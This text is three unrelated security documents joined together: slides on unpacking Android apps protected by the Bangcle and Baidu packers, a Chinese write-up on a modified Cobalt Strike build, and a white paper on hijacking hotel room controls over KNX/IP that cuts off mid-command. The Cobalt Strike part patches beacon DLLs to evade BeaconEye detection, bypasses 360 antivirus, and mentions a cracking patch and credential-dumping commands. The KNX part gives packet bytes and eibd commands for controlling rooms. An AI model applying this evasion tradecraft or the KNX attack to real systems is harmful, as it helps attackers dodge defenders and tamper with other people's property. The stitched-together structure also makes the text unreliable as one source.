0x00028584 0x00568 0x00568 R 0x4 LOAD 0x000000 0x00000000 0x00000000 0x131ec 0x131ec RE 0x8000 LOAD 0x018c1c 0x00030c1c 0x00030c1c 0x00520 0x01538 RW 0x8000 DYNAMIC 0x018c80 0x00030c80 0x00030c80 0x00108 0x00108 RW 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x018c1c 0x00030c1c 0x00030c1c 0x003e4 0x003e4 R 0x1 Entry address points to compressed code (anti-debugging) Start of section table is out of file bounders No section table (anti-debugging) Exception Index Table is out of file bounders (IDA crash) Program headers: 0x0000000c (INIT) 0x125A9 0x00000019 (INIT_ARRAY) 0x30C1C ... Dynamic section: Real entry point Bangcle - libsecexe.so 0xf4 0x9d0 0x1cb0 0x3b79 0x43e0 0x125a9 0x13150 HASH SYMTAB STRTAB REL Compressed code TEXT (init code) 0x433c 0x12590 0x433c 0x4638 0x4938 0xde38 0xe050 0x28aec a1 r1 r2 JNI_OnLoad Copy code sections to an allocated buffer. Decompress 0x247b0 bytes to 0x433c Registration com.secneo.guard.ACall native methods: a1, r1, r2, ... Bangcle - Processes Extract ELF /data/data/<pkg>/.cache/<pkg> from apk (Assets) fork app process execl /data/data/<pkg>/.cache/<pkg> <pkg> -1114751212 1 /data/app/<pkg>/base.apk 34 <pkg> 43 44 0 fork pkg process (from libsecmain.so::so_main) anti-debugging thread fork pkg process if .cache/classes.dex (OAT) does not exist LD_PRELOAD=/data/data/<pkg>/.cache/libsecpreload.so LD_PRELOAD_ARGS=<pkg> 9 13 LD_PRELOAD_SECSO=/data/data/<pkg>/.cache/libsecmain.so execl /system/bin/dex2oat –zip-fd=9 –zip-location=/data/data/<pkg>/.cache/classes.jar –oat-fd=13 –oat-location=/data/data/<pkg>/.cache/classes.dex –instruction-set=arm Function a1 Function r2 Bangcle - libc.so hook libc func Offset libc func Offset munmap 0x15BD8 close 0x14FAC msync 0x15F88 __openat 0x14DA4 read 0x15118 pread64 0x162F8 __mmap2 0x15420 pwrite64 0x166DC __open 0x14B9C write 0x152FC Protection was changed Function r1 Bangcle - Summary ● Creates a stub in Java activity to load native library. ● Native library is protected with different anti research techniques. ● Native library hooks libc for handling the opening of the OAT file. Baidu - Classification Classes - StubApplication - StubProvider Files - libbaiduprotect - baiduprotect1 (original dex) Baidu - Native Loader Implementation public class A implements Enumeration { public static native byte B(int arg0, Object arg1, ...); public static native char C(int arg0, Object arg1, ...); public static native double D(int arg0, Object arg1, ...); public static native float F(int arg0, Object arg1, ...); public static native int I(int arg0, Object arg1, ...); public static native long J(int arg0, Object arg1, ...); public static native Object L(int arg0, Object arg1, ...); public static native short S(int arg0, Object arg1, ...); public static native void V(int arg0, Object arg1, ...); public static native boolean Z(int arg0, Object arg1, ...); public static native void a(); public static native void b(); public static native String[] c(); } Func Offset a 0x23459 b 0x2345d c 0x23461 V, Z, B, C, S, I, J, F, D, L 0x25861 Baidu - libbaiduprotect.so 0x1000 0x2e6d 0x2ea4 0x23459 0x2345d 0x23461 0x25861 0x3ca78 0x4286c JNI_OnLoad a b c V, Z, B, C, S, I, J, F, D, L TEXT (Entry point 1) Change self protection 0x2000 - 0x3d000 Decrypt code 0x2e6d - 0x3ca78 Change self protection 0x0 - 0x1000 Remove ELF header Baidu - JNI_OnLoad Anti-debugging Registration of native methods: a, b, c, … Extract packed DEX /Assets/baiduprotect1.jar to /data/data/<pkg>/.1/1.jar Create empty DEX file /data/data/<pkg>/.1/classes.jar Hook libart.so Create DexClassLoader(/data/data/<pkg>/.1/classes.jar) + Merge with main class loader by extending BaseDexClassLoader::pathList::dexElements Baidu - Anti-debugging ● Obfuscation ● Logs disabling ● For each /proc/ check that /proc/<pid>/cmdline does not contain gdb, gdbserver, android_server ● For each /proc/self/task check that /proc/self/task/<pid>/status does not contain TracerPid ● For each /proc/self/task check that /proc/self/task/<pid>/comm does not contain JDWP ● Check android.os.Debug.isDebuggerConnected ● select call (timer) based technique ● inotify watch (IN_ACCESS + IN_OPEN) of ○ /proc/self/mem ○ /proc/self/pagemap ○ For each /proc/self/task ■ /proc/self/task/<pid>/mem ■ /proc/self/task/<pid>/pagemap Baidu - libart.so hook libc func Libart hook Offset read 0x309BC8 0xA75C open 0x309BDC 0x8FAC close 0x309BE4 0x9168 mmap 0x309BE8 0x9474 strstr 0x309C58 0x8BD8 fork 0x309F3C 0x92DC waitpid 0x309F40 0xA5E4 execv 0x309F4C 0xA324 __android_log_print 0x309FAC 0xA750 Function __android_log_print No logs Function execv dex2oat hook: Add environment variable ANDROID_LOG_TAGS=*:f Prevent code compilation: add --compiler-filter=verify-none command line parameter Function open Decrypt /data/data/<pkg>/.1/1.jar in case of /data/data/<pkg>/.1/classes.jar file loading Baidu - Summary ● Creates a stub in Java activity to load native library. ● Native library is protected with different anti research techniques . ● Native library hooks libc for handling the opening of the DEX file. libc::open == decryption Bangle Baidu Filter by file path: /data/data/<pkg>/.cache/classes.dex /data/data/<pkg>/.1 /classes.jar Expect to see: OAT DEX Using the DEX Loading Process to Unpack Apps Where is first call of DEX/OAT file opening? DEX OAT dalvik.system.DexClassLoader::DexClassLoader dalvik.system.DexFile::DexFile DexFile::openDexFileNative DexFile_openDexFileNative ClassLinker::OpenDexFilesFromOat OatFileAssistant::MakeUpToDate OatFileAssistant::OatFileIsUpToDate OatFileAssistant::GetOatFile OatFile::Open OatFile::OpenElfFile → DexFile::DexFile OatFileAssistant::GivenOatFileIsUpToDate OatFileAssistant::GetRequiredDexChecksum DexFile::GetChecksum OpenAndReadMagic platform/art/runtime/dex_file.cc patch static int OpenAndReadMagic(const char* filename, uint32_t* magic, std::string* error_msg) { CHECK(magic != nullptr); ScopedFd fd(open(filename, O_RDONLY, 0)); … char* fn_out = new char[PATH_MAX]; strcpy(fn_out, filename); strcat(fn_out, "__unpacked"); int fd_out = open(fn_out, O_WRONLY|O_CREAT|O_EXCL, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH); struct stat st; if (!fstat(fd.get(), &st)) { char* addr = (char*)mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd.get(), 0); write(fd_out, addr, st.st_size); munmap(addr, st.st_size); } close(fd_out); delete fn_out; ... } DexFile::DexFile(const uint8_t* base, size_t size, const std::string& location, uint32_t location_checksum, MemMap* mem_map, const OatDexFile* oat_dex_file) : begin_(base), size_(size), ... { ... std::ofstream dst(location + "__unpacked", std::ios::binary); dst.write(reinterpret_cast<const char*>(base), size); dst.close(); ... } DEX OAT Demo Time! Unpacking modification instructions to AOSP can be found @checkpoint github repo Questions?
pdf
1 Cobalt Strike快乐星球 前⾔ 快乐星球 Patch CVE-2021-36798 漏洞描述 漏洞影响范围 漏洞成因分析 漏洞缓解⽅案 修复效果验证 Patch CVE-2022-23317 漏洞描述 漏洞影响范围 漏洞复现 漏洞缓解⽅案 修复效果验证 Bypass beacon-eye 绕过原理 绕过BeaconEye 测试效果 Modify xor key Modify team server authentication header Beauty UI Bypass 360 Setchar 出现问题 修复过程 实现效果 破解补丁 使⽤⽅法 2 下个版本 参考资料 感谢<<安全的⽭与盾>>星球⼤佬让我⽩嫖了许多东⻄,知识、思路等等。没有这些⽩嫖,不可能完 成快乐星球的构建。本⼈是⼀个脚本⼩⼦,⼤佬们轻喷。 CS <= 4.3 漏洞存在在beacon.BeaconC2.process_beacon_callback_decrypted中对beacon端发送过来的任 务处理结果的⻓度进⾏判断,直接按照beacon端的结果进⾏分配内存,导致teamserver端崩溃。 前⾔ 快乐星球 Patch CVE-2021-36798 漏洞描述 漏洞影响范围 漏洞成因分析 3 该函数为common.DataParser.readCountedBytes 可以看到,readCountedBytes函数⾸先读取⼀个4字节的数据并转换为int类型,然后根据这个int类 型的变量申请内存buffer⽤来读取接下来的数据,这⾥就存在⼀个问题,如果攻击者可以控制这个4字节 的数据,就可以控制接下来申请的buffer的⻓度,从⽽导致teamserver端申请过⼤内存导致陷⼊僵死。 之所以叫做缓解⽅案,是因为并没有真正的修复,⽽是对beacon⾏为进⾏了判断,限制如果是新 session,拒绝其直接发送截屏和键盘记录的结果。之所以只对这俩分⽀进⾏判断,是因为只有这俩分⽀ 调⽤了readCountedBytes这个函数。判断的关键代码为denyFirstAttack。 漏洞缓解⽅案 4 data.isNewSession判断当前任务队列⾥,是否包含该session,如果没有,就直接发任务处 理数据,那这⾥就存在问题。 然后就是把这段判断放到截屏和键盘记录处理分⽀⾥⾯。 Java 复制代码 private byte[] denyFirstAttack(String var1, DataInputStream var4, int var16) {        byte[] var17;        if (this.data.isNewSession(var1)) {            this.getCheckinListener().output(BeaconOutput.Error(var1, "Dropped responses from session. Didn't expect " + var16 + " prior to first task."));            CommonUtils.print_error("Dropped responses from session " + var1 + " [type: " + var16 + "] (no interaction with this session yet)");            return null;       }        var17 = CommonUtils.readAll(var4);        return var17;   } 1 2 3 4 5 6 7 8 9 10 5 这⾥贴下4.3版本的验证效果。 未修复前使⽤poc测试https://github.com/M-Kings/CVE-2021-36798 修复效果验证 6 可以看到直接把teamserver打宕机了。 修改完后再测试,防护⽣效,teamserver没有崩溃。 CS <= 4.5 beacon.http-get Patch CVE-2022-23317 漏洞描述 漏洞影响范围 漏洞复现 7 beacon.http-post stager 8 stager64 漏洞缓解⽅案 9 对请求uri进⾏判断,不是/开头都直接返回400 Bad Request。具体修复位置在 cloudstrike.WebServer._serce beacon.http-get beacon.http-post 修复效果验证 Java 复制代码 if (!(uri.startsWith("/"))) {    return this.processResponse(uri, method, header, param, false, null,         new Response("400 Bad Request", "text/plain", "")); } 1 2 3 4 10 stager stager64 Bypass beacon-eye 11 绕过原理这⾥简单记录下:cs在填充profile数据时,数据格式:x64为8字节+8字节,x86为4字节+4字 节,前⾯的字节是数据⻓度类型,后⾯的字节是数据,由于数据⻓度类型这⾥只使⽤了⼀个字节,剩下7 个或3个字节都为0。这个就是beaconEye的yara规则,据此绕过只需要把前⾯没⽤的字节设置为⾮0即 可。 IDA中打开beaconx64.dll,来到DLLMain,找到profile解析的函数,函数位置为sub_180018694。 绕过原理 绕过BeaconEye 12 跟进该函数,⾸先申请profile数据所在堆内存块,然后赋值为0,这⾥可以对这个0进⾏修改,让他不为 0,即可绕过beaconEye的yara规则。 这⾥测试⽤mov edx, eax,其机器指令为89 C2,正好为2字节,经测试,使⽤mov edx, ebx patch,仍 然会被检测到。 13 patch之后,再看下反编译效果。 没什么问题。 x86的dll修改,可以改成push eax,1字节指令,原push 0是2字节,这样不会影响原指令⻓度。使⽤其 他寄存器可能还会被检测到,这⾥测试eax的值不会被检测到。 14 15 需要修改的DLL如下,修改位置和原理是类似的,不再赘述。 beacon.dll、beacon.x64.dll -- http listener的beacon dnsb.dll、dnsb.x64.dll -- dns listener的beacon extc2.dll、extc2.x64.dll -- external listener的beacon pivot.dll、pivot.x64.dll -- bind tcp、smb listener的beacon 绕过前使⽤beaconeye扫描进程内存,成功发现beacon所在进程。 测试效果 16 在patch过beacon之后,再次进⾏测试,发现已⽆法找到beacon进程,成功绕过。 这个⽐较简单,就不多写了,记录下修改位置在beacon/BeaconPayload的beacon_obfuscate⽅ 法。 这个⽐较简单,就不多写了,记录下修改位置在ssl/SecureServerSocket的authenticate⽅法和 ssl/SecureSocket的authenticate⽅法。 Modify xor key Modify team server authentication header 17 这个⽐较简单,就不多写了,记录下修改位置在aggressor.Aggressor的A⽅法。 bypass 360核晶的思路借鉴星球⼤佬分享的⼀篇⽂章的思路,就是将DLL注⼊beacon所在进程执 ⾏。在CS 4.4版本需要对DLL导⼊表进⾏Patch,但在CS 4.5版本不需要,具体原因没有分析,原因是太 Beauty UI Bypass 360 18 菜了。。。 这⾥需要对Java端进⾏修改,主要修改的地⽅是beacon/TaskBeacon.java,界⾯功能实现原理与下 个⼩节的setchar类似。 Desktop command logonpasswords command hashdump command 19 printscreen command screenshot command 20 思路来源于先知上深蓝实验室⼀篇⽂章,不得不说先知这个社区还是不错的。 https://xz.aliyun.com/t/11055 ⾸先按照原⽂给的思路,在增加了修改按钮和功能后确实可以修改BeaconEntry对象的chst属性数 据,但是使⽤扫描⼯具扫描的输出结果还是乱码的。暂时陷⼊困局,这时候去看了下cs的注册编码的过 程,发现了问题。 Setchar 出现问题 21 调试teamserver端,在上图当中注册beacon对象编码信息处下断点,发现每次beacon callback回 来都会经过process_beacon_metadata这个函数,也就是说每次都要重新⽣成BeaconEntry对象,这⾥ ⽣成的BeaconEntry对象会保存在teamserver端,与client端的BeaconEntry对象是不同的。由于每次都 要从beacon的metadata⾥解析编码信息,就会导致每⼀次callback回来都是⽬标环境的编码,这就是只 修改client chst属性的数据⽆法完成编码切换的原因。 只需要在每次注册编码信息前,判断当前BeaconID的编码有没有被修改就⾏,没有从全局维护的 customCharsets中找到或者为空字符串,那就按照⽬标环境的编码进⾏注册,否则注册client⾃定义的 编码数据。 修复过程 实现效果 22 console设置命令: setchar [charset] 界⾯的下拉框选择 扫描输出UTF-8数据,显示正常 23 此处省略1w字。 破解补丁 使⽤⽅法 24 beacon的右键菜单中选择Soldier,Setchar可以设置返回数据的编码,EnableBypass360开启绕过 核晶模式,DisableBypass360切换回⼀般模式。 Last Soldier<Memory Evasion> https://www.sentinelone.com/labs/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets- you-halt-operations/ https://github.com/Sentinel-One/CobaltStrikeParser https://hosch3n.github.io/2021/08/06/%E5%85%B3%E4%BA%8E%E4%BF%AE%E5%A4%8 DHotcobalt%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%83%B3%E6%B3%9 5/ https://github.com/M-Kings/CVE-2021-36798 https://xz.aliyun.com/t/10832 https://github.com/CCob/BeaconEye 下个版本 参考资料 ● ● ● ● ● ● 25 https://donghuangt1.com/writings/Stager/ ●
pdf
LEARN HOW TO CONTROL EVERY ROOM AT A LUXURY HOTEL REMOTELY: THE DANGERS OF INSECURE HOME AUTOMATION DEPLOYMENT Jesus Molina @verifythentrust [email protected] 1 Abstract The St. Regis ShenZhen, a gorgeous luxury hotel occupying the top 28 floors of a 100 story skyscraper, o↵ers guests a unique feature: a room remote control in the form of an iPad2. The iPad2 controls the lighting, temperature, music, do not disturb light, TV, even the blinds and other miscellaneous room actions. However, the deployment of the home automation protocol contained several fatal flaws that allowed an arbitrary attacker to control virtually every appliance in the hotel remotely. I discovered these flaws and, as a result, was able to create the ultimate remote control. The attacker does not even need to be in the hotel - he could be in another country. This white paper discusses home automation and the anatomy of the attack: an explanation of reverse engineering of the KNX/IP home automation protocol; a description of the deployment flaws; blueprints on how to create an iPad Trojan to send commands outside the hotel; and, of course, solutions to avoid all these pitfalls in future deployments. 2 Introduction In Hollywood movies, cyberattacks end with shocking results that stun the audiences and ruin the movie for security researchers. Traffic halts in LA as Seth Green switches all lights to red in the Italian Job. The bad guy in Jurassic Park shuts down the electrical fences and the dinosaurs roam free. These epic attacks sound whimsical, but nowadays appear closer than ever with the advent of what people call the Internet of Things (IoT), a vision where every single electronic device is networked. 1 Figure 1: The view But if there was any doubt, imagine this scene in a James Bond movie. The bad guy and his minions guard the bomb detonator in a hotel suite. Time is running out, and Bond cannot access the room and fight the guards. All seems lost. Suddenly, his cell rings, and after grabbing it he hears Qs desperate voice (the techie guy). “Why are you so worried James?” says Q in an arrogant tone “In 20 seconds I will provide you with the distraction needed to do your job”. James hangs up in disbelief, cursing the kid (in the past Q looked like a revered old scientist, now he looks like a startup billionaire). Suddenly, every light and TV in the hotel starts flickering. The drapes go up and down erratically and deafening music roars from every room. All the guests start fleeing in panic and the guards are no exception. James aims the gun at them from a safe distance, muttering “Rats, I need to learn Python”. No way, you will say. No one can take over a building in this fashion. Not even the super smart guy from the movie. Fear not, this paper presents a real scenario, and for added theatrical charm the location could not be any more perfect: a beautiful five-star hotel in China, absolutely worthy of a James Bond film. But before going into the gory technical details, let’s first discuss why we are here: because the situation described in this work is by no means unique, and more hotels and 2 residential buildings will follow suit. This work is not intended as a critique of the security decisions of the property itself. The targeted hotel performed due diligence after being notified of the problem, and being a trailblazer in a new and upcoming technology always has drawbacks. This work intends to be a cautionary tale so that future implementations avoid the pitfalls that would allow the chance for this epic movie scene to come to life. 3 Home Automation In commercial buildings, the automation of electronic components (HVAC, lighting) has been around for a long time. Commercial building automation systems need to know just a little about the owner. Sensors are sufficient for learning the usage patterns of the building and the environment circumstances. Home automation (or residential building automation), while technically similar, had an erratic component that until today was difficult to track, understand and communicate with: the person living at the home. Home automation is user centric, and hence it also includes other items not usually present in commercial buildings, in particular, entertaining appliances such as music, TV and little pet robots (in my personal case). The usage patterns for entertainment depend heavily on the user and hence are hard to predict. The advent of new technologies such as predictive learning, and most importantly, the red hot IoT provides a path to better automate your home by having all electronics networked to you and your desires. You may compare home automation to your TV remote, just on steroids, and with better knowledge than you about which channel to watch. To exemplify, by deploying home automation technology you may be able to light up the house when you enter, change TV channels through your phone, get toasts when your stomach grumbles and even have a drone deliver fresh bread every morning at say, 8 AM (on Sundays at 10 AM). The astute reader (who also may yell “you kids get of my lawn!” most often than not) will protest and state that the beloved home toaster is sacred and will never be networked. But few doubts exist that home automation is already present and here to stay, with its deployment and utilization rising dramatically. According to Reuters [1] home automation is a $1.5 billion business and expected to rise to remarkable estimated $2.5 billions by year 2015. Leaving behind our craving for economic statistics to demonstrate every point, home automation is overdue: we possess the technology to make our lives way comfier, and home automation will significantly reduce the energy footprint in everyone’s daily life. Machines love the earth way more than we do - we program them when we are in our best spirits. That is rarely the case when we finally reach home after a couple of beers and make it to 3 bed leaving the lights and TV on, with the remote falling out of our hand and mother earth being just a loving figure in our dreams. 3.1 Security in Home Automation Home automation will make our lives more comfortable, help the environment, and in the long run provide significant savings reflecting the decrease of energy consumption. However, home automation presents challenges as it requires a set of technological elements to be orchestrated together. For the end provider, it is a little bit like making a burger: everyone understands what the end result should be, but the ingredients vary significantly from one home deployment to the other. And that lack of standardization is always a field day for attackers out there. Hence, to the home automation party an uninvited guest, security, arrives - there is always one. And is not an easy one to handle. The mighty struggle between usability versus protection seldom appears more acute than in home automation. The user requires simplicity (a PIN to operate my toaster? What is this, Fort Knox?), while the evil guy next door stands ready to create havoc by performing an orchestrated toaster uprising. Second, it requires all the complicated components to be (at least partially) networked wirelessly, and possibly accessed from outside the home. In the past, building automation was performed by wired buses. These buses, initially proprietary, were slowly standard- ized in several protocols. As always, each continent chose its own darling (e.g., KNX in Europe), but they provide similar features. These protocols aided enormously in creating an ecosystem to buy and sell new appliances to network electronics without having to be bound to a single vendor. However, they did not add security (meaning authentication and encryption) as a part of the standard. After all, the scenario was totally di↵erent when they were created, with the building itself protecting the access to wired networked elements. A new standard was developed for wireless commercial building automation with strong security: Zigbee. However, WiFi for home networking is as extended as it gets, so legacy standards are still able to thrive under that umbrella. If you already deployed home automation at your place, it probably works like this: you utilize a panel or your phone to connect to a router, and the router connects to the device. The connection, if it is your home, is done wirelessly from the panel, and the other devices are wired to a digital actuator. You can also connect directly to the device if it is a new appliance such a smartTV or an internet camera, utilizing an API that it presents to the world. For example, if you have some sort of streaming dongle such as the ROKUTM the application in your phone sends HTTP requests to the included RESTful API presented by the device. This API is available to any developer, so anyone can scan the network for 4 a ROKU and contact it using any application out there or the one home-brewed. There is no security in this process, as that will force the user to add some sort of authentication token and that is a hassle for most scenarios. To control devices that are a little more backwards, say, a bulb, blinds, old TVs or temperature, you need to first connect them to a home automation hub, and that hub will connect to the panel. So where is the security? The cybersecurity of home automation in a vast majority of cases is in your wireless key, usually WPA2. Obviously, if someone gets a hold of your WPA2 key, they can go ahead and take control of your home, but it is a fair assumption that if the key is sufficiently strong it will take some time for that to happen. 3.2 Hotel Room Automation Hotels are unique in that they combine requirements from both commercial and residential spaces. Adding home automation to guest rooms as an added amenity provides hefty incentives for hotels. Everything that applies to a single user, applies to every room in the hotel: cost savings, guest satisfaction and increased utilization of amenities. Bundling the room control with other o↵erings, such as in-room dining or movie selection, seems to increase overall spending by the guest in the room, at least according to Intelity [2], a hotel automation vendor. Hotels time-share the rooms and everything in them (lights, TV, HVACs, entertainment units), so they fall into the tragedy of the commons when it comes to energy usage. Most guests care little about leaving the light on at a hotel. While attempts have been made to correct the problem, such as forcing you to “switch on” the room by placing your card in a receptacle (ever come back to your room to pick up that phone you left charging, just to realize it is still dead?), home automation is a far better answer. Customer comfort increases dramatically by utilizing centralized room controls too. When you arrive to a hotel room, you don’t know what appliances you can switch on. Is there music? TV channels? Where is that light switch? All that guess work is over if you can automatically discover every switchable element in the room just by looking an in-room IPAD, or better still, an application in your own iPhone or iPad. 4 KNX According to their webpage, KNX is “the world’s only open Standard for the control in both commercial and residential buildings”. It goes on by saying “KNX is therefore future proof” [3]. The reality is that KNX is as open as the VIP section in a Las Vegas club: it is open as long as you pay (a lot) to get in. For the second claim, in the advent of 5 wireless communications and transparency, it may at least be aging. All the information in this section is publicly available or inferred from open source code, as public access to the specifications does not exist. KNX is a widely deployed bus communication standard. It is the successor of the EIB/In- stantbus European Standard, developed in the early 1990s. The St. Regis chose KNX to perform home automation, possibly because it is a Chinese Standard (GB/T 20965). The core protocol provides details to connect actuators to appliances. To get on with the new funky times we live in, KNX may be encapsulated inside an IP packet and sent over medi- ums such as wireless or the internet, and this version is called KNX/IP [4]. A KNX/IP frame is a connectionless datagram (UDP) envelope for a payload named cEMI in the KNX standard. The payload carried the protocol commands for connection, and, what is more important for an attacker, the end message to the KNX backbone (see Fig. 2). Header Ethernet Header IP Header UDP KNXnet/IP Header Length Protocol Version Service Type Identifier Total Length Payload cEMI Figure 2: KNX/IP packet The protocol provides several commands and modes of operation, for both communi- cation with the end devices and for configuration. The KNX/IP mode utilized at the St. Regis was “Tunnel” mode, where a KNX/IP router tunnels KNX message requests from the IP backbone to the KNX network. The notation for KNX addresses is in the form A/B/C. It works in a similar fashion as IP addresses. The first and second digits define subnets, and the last digit defines the actual address of the element in the subnet. For example 1/2/3 represents a device with an address of 3, on 1/2 subnet. The cEMI frame, among other fields, contains the address of the sender, the address of the receiver, the command type and command payload, which may or may not exist depending on the command type. For the interested, one of the few (free) available KNX open documents describes the data types of the payload [5]. To send a message, the protocol performs a simple sequential handshake (every message is followed by an ACK or fail message from the router). The handshake first starts the com- munication by sending two datagrams in order. The first is a CONNECTION REQUEST. 6 KNXnet/IP Router 1.0.0 4/1/1 KNXnet/IP Router 2.0.0 4/1/1 Line Coupler 1.0.0 4/1/1 Line Coupler 1.2.0 Line Coupler 1.3.0 5/2/1 Line Coupler 2.1.0 Line Coupler 2.2.0 Device 1.1.1 4/1/1 Device 1.1.2 Device 1.2.1 5/2/1 Device 1.2.2 4/1/1 Device 1.3.1 5/2/1 Device 1.3.2 5/2/1 Device 2.1.1 6/3/1 Device 2.2.1 4/1/1 Device 2.1.2 6/3/1 Device 2.2.2 4/1/1 4/1/1 5/2/1 IP Network Main Line 1 Main Line 2 IP Network Figure 3: Example KNX/IP network The second is a CONNECTIONSTATE REQUEST. After this you can start sending mes- sages to the KNX backbone by using a TUNNELLING REQUEST message. Once you are finished, you terminate the communication by issuing a DISCONNECT REQUEST. The Tunneling request command stands out in importance for practical purposes, as it carries the end action for the networked electrical appliance. Listing 1 shows an example of a tunnel request (treq) for switching a light bulb on a KNX address 1/0/2 [6]. Listing 1: Tunnel Request example treq = [06 10 04 20 00 15 04 49 00 00 11 00 be e0 00 00 08 02 01 00 81] /* TUNNELLING_REQUEST */ /* Header (6 Bytes) */ treq[0] = 0x06; /* 06 - Header Length */ treq[l] = 0x10; /* 10 - KNXnet version (1.0) */ treq[2] = 0x04; /* 04 - hi-byte Service type descriptor (TUNNELLING_REQUEST) */ treq[3] = 0x20; /* 20 - lo-byte Service type descriptor (TUNNELLING_REQUEST) */ treq[4] = 0x00; /* 00 - hi-byte total length */ treq[5] = 0x15; /* 15 - lo-byte total length 21 bytes */ /* Connection Header (4 Bytes) */ 7 treq[6] = 0x04; /* 04 - Structure length */ treq[7] = iChannellD & 0xff; /* given channel id */ treq[8] = 0x00; /* sequence counter, zero if you send one tunnelling request only at this session, otherwise count ++ */ treq[9] = 0x00; /* 00 - Reserved */ /* cEMI-Frame (11 Bytes) */ treq[10] = 0x11; /* message code, 11: Data Service transmitting */ treq[11] = 0x00; /* add. info length (bytes) */ treq[12] = 0xbc; /* control byte */ treq[13] = 0xe0; /* DRL byte */ treq[14] = 0x00; /* hi-byte source individual address */ treq[15] = 0x00; /* lo-byte source (replace throw IP-Gateway) */ treq[16] = (destaddr 8) & 0xff; /* hi-byte destination address (20: group address) 4/0/0: (4*2048) + (0*256) + (0*1) = 8192 = 20 00 */ treq[17] = destaddr & 0xff; /* lo-Byte destination */ treq[18] - 0x01; /* 01 data byte following */ treq[19] - 0x00; /* tpdu */ treq[20] = 0x81; /* 81: switch on, 80: off */ As an apparent sign of good will, universities have been able to work with the standard and as a result, there are open source projects for hobbyist and researchers. One of the tools created from this collaboration is the excellent eibd [7]. The eibd software package is the only tool an attacker needs to send messages to the KNX bus, as it implements the KNX/IP UDP wrapper and the tunneling handshake. Another method is to code the handshake yourself, which is very simple. 5 Case Study: The St. Regis ShenZhen 5.1 A beautiful hotel For visitor to the ShenZhen area (the “Silicon Valley” of China), I recommend a stay or at least a visit to the St. Regis. The property is nothing short of stunning: placed at the top of the K100 building, this hotel provides an unrivaled experience for guests in the area: a personal butler, dwarfing area views, freestanding bathtubs next to floor-to-ceiling windows, a pool claiming half of one floor, and so far up that even the white pollution smog so pervasive in the Shanghai-Shenzhen area appears mystical and benign. Every room features an IPAD2TM (we will call it the iPad from now on) loaded with an application controlling every electronic device in the room. Four major components provided the room automation for this property: The iPad, a wireless communication channel, the automation protocol (KNX) and the KNX backbone. 8 5.2 The Wireless Communication Channel Wireless internet is now widely available in most hotels. Smaller hotels and motels provide the guest with the network WiFi key, but this solution is not scalable for bigger properties. Besides, hotel chain guests su↵er the internet fee malady: the requirement to pay for the internet, even after spending a large amount of money for just being in the room (or in the case of Vegas, a “resort fee”). This annoying and extended practice also faces an interesting security flipside: to charge guests, the hotel deploys a captive portal to keep track of internet access. The captive portal first redirects the browser to a page asking for the guest name and room number. After providing the right information, the captive portal places your device’s MAC address into a white-list, and the guest is then able to connect to the internet. But to access the captive portal, this solutions grants initial access to the network to guests and strangers alike (you just cannot access the internet, but can surely “see” other guests). As a result, anyone can “listen” or even intercept your communications while you are connected to a hotel network. For the paranoid or not so paranoid, a hotel network should be treated as an adversarial network: bad stu↵ may happen to you, so methods such as using a VPN are required for security and privacy. As this is an “open” network, and is already deployed, the guest network could be used for other purposes, such as, you guessed it, interconnecting devices in a room. 5.3 the iPad The iPad in the room does not provide any physical security. A guest can unplug it from its power attachment and transport it around freely. The guest can also attach it to his or her own computer and sync the applications, verify and modify the configuration settings and reboot it. At launch, the iPad shows (in full screen) the only application installed: a room control amenity, created by the company AYcontrol. The application presents several tabs to the user. Each tab allows guests to communicate with the room’s networked devices: TV (including channel selection), temperature, outside lights (Do Not Disturb), inside lights, blinds and music. The iPad also can allow selecting scenarios, bundling di↵erent room actions to create a certain mood (romantic, night, day and so forth). The iPad IP address was pre-configured in the iPad. When the application is launched, the iPad sends two types of packets. The first one is a connectionless datagram (UDP) packet directed to a multicast address. This message is sent periodically by the iPad and contains basic information: the iPad IP address and room location. This message’s role is uncertain, but is most likely used for maintenance to keep track of the iPad location. This message was not required to communicate with the end connected devices. The second message type is also an UDP packet, but with a 9 di↵erent payload. In this case, the UDP payload forms a KNX/IP protocol communication to a fixed IP address, and they are triggered while pressing a button in the iPad application requesting an action, such as switching on the lights. The KNX/IP IP destination was unique for each room and correlative for adjacent rooms. An attacker could easily infer the pattern and create a map between room and IP address of the KNX/IP router even without collecting any traffic from that room. The messages seem to follow the KNX/IP protocol requirements, except for a field that was modified from the standard for no apparent reason. However, an attacker could easily change these fields to mimic the slightly di↵erent packet. 5.4 The KNX network The CEMI frame contains several fields, must unnecessary to perform the attack. An attacker needs only to understand what the “moving parts” of the protocol are. In this case, an attacker only requires the IP address inside the CEMI frame, the KNX destination address, the action code for that address and the payload (if any) for that destination in order to modify the IP address for every room (the destination). The source IP address is not necessary - there is no mechanism for checking the source IP address by the router. The IP address for each room provided (at least) access to two di↵erent KNX subnets. The first subnet contained every element controlled by the automation control in the room. The address space assignments for each room where correlative - after collecting four or five room addresses, an attacker can easily guess all the room KNX numbers, similarly as performed with the IP address. The second subnet, that can be accessed by every KNX/IP router in a floor, contained element outside the room. That IPAD action for that “floor” KNX address space was to switch on/o↵ the “Do Not Disturb Lights” and the “Make Room” light. The KNX network also responded to administrative and configuration commands. How- ever, its modification was not necessary to allow arbitrary KNX commands to go through. 5.5 The Attack With the knowledge of the KNX/IP router and KNX address of the room, the KNX address of the appliance and a dictionary of actions, the adversary can send any arbitrary action to any room, as long as it followed the KNX protocol sequence to transmit. The dictionary of actions is simple to create - just press every button on the iPad application and record the action and payload sent by utilizing a network sniffing tool such as Wireshark. To create a complete map of each room an attacker can either listen for iPads communicating (as discussed, the iPad “sings” its room number and IP address periodically). Or, a simpler method is to find an excuse to change rooms. 10 Once armed with this knowledge the attack is trivial: send the action to the target device, using the IP/KNX address. KNX does not provide any free software of application, but there are many open source software solutions that implement the KNX protocol. One such application is eibd. You can launch the eibd daemon in tunnel mode with the listen local option, and set it to the target IP of the room. As an example, let’s suppose the address for a light is 3. The action to switch on is 80, and to switch o↵ is 81. Finally the pair KNX room subnet and router IP address are 2/0 (KNX) - 172.31.20.160 (IP). After this we can launch eibd with the target IP address as a daemon. This action will perform the first two handshakes of the connection sequence and keep the connection alive. After that, the eibd will listen to request that can be sent using an application (also provided by eibd) writing to the local file. A sample sequence to switch on/o↵ a light is presented in Listing 2. Listing 2: Sample commands #eibd -- T -listen-local ipt:172.31.20.160 #groupswite 